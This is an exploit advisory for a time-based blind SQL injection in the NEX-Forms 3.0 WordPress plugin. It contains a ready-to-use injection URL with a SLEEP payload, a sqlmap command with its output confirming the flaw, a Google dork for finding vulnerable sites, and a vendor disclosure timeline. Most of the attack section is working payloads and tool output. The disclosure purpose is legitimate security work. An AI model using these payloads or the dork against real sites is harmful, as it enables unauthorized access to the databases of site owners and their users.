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# Exploit Title : NEX-Forms 3.0 SQL Injection Vulnerability
# Exploit Author : Claudio Viviani
# Website Author: http://www.homelab.it
http://archive-exploit.homelab.it/1 (Full HomelabIT Vulns Archive)
# Vendor Homepage : https://wordpress.org/plugins/nex-forms-express-wp-form-builder/
# Software Link : https://downloads.wordpress.org/plugin/nex-forms-express-wp-form-builder.3.0.zip
# Dork Google: inurl:nex-forms-express-wp-form-builder
# index of nex-forms-express-wp-form-builder
# Date : 2015-03-29
# Tested on : Windows 7 / Mozilla Firefox
# Linux / Mozilla Firefox
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# Info:
The "submit_nex_form" ajax function is affected from SQL Injection vulnerability
"nex_forms_Id" var is not sanitized
# PoC Exploit:
http://TARGET/wordpress/wp-admin/admin-ajax.php?action=submit_nex_form&nex_forms_Id=10 AND (SELECT * FROM (SELECT(SLEEP(10)))NdbE)
# Poc Video:
http://youtu.be/04G08Cbrx1I
# PoC sqlmap:
sqlmap -u "http://TARGET/wordpress/wp-admin/admin-ajax.php?action=submit_nex_form&nex_forms_Id=10" -p nex_forms_Id --dbms mysql
[23:15:37] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)'
[23:15:48] [INFO] GET parameter 'nex_forms_Id' seems to be 'MySQL >= 5.0.12 AND time-based blind (SELECT)' injectable
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
[23:15:55] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[23:15:55] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[23:16:01] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[23:16:07] [INFO] checking if the injection point on GET parameter 'nex_forms_Id' is a false positive
GET parameter 'nex_forms_Id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection points with a total of 85 HTTP(s) requests:
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Parameter: nex_forms_Id (GET)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: action=submit_nex_form&nex_forms_Id=10 AND (SELECT * FROM (SELECT(SLEEP(5)))NdbE)
---
[23:16:34] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 5.10
web application technology: PHP 5.3.3, Apache 2.2.3
back-end DBMS: MySQL 5.0.12
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# Vulnerability Disclosure Timeline:
2015-03-29: Discovered vulnerability
2015-04-16: Vendor Notification
2015-04-17: Vendor Response/Feedback
2015-04-21: Vendor Send Fix/Patch (same version number)
2015-04-21: Public Disclosure
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Discovered By : Claudio Viviani
http://www.homelab.it
http://archive-exploit.homelab.it/1 (Full HomelabIT Vulns Archive)
http://ffhd.homelab.it (Free Fuzzy Hashes Database)
info@homelab.it
homelabit@protonmail.ch
https://www.facebook.com/homelabit
https://twitter.com/homelabit
https://plus.google.com/+HomelabIt1/
https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww
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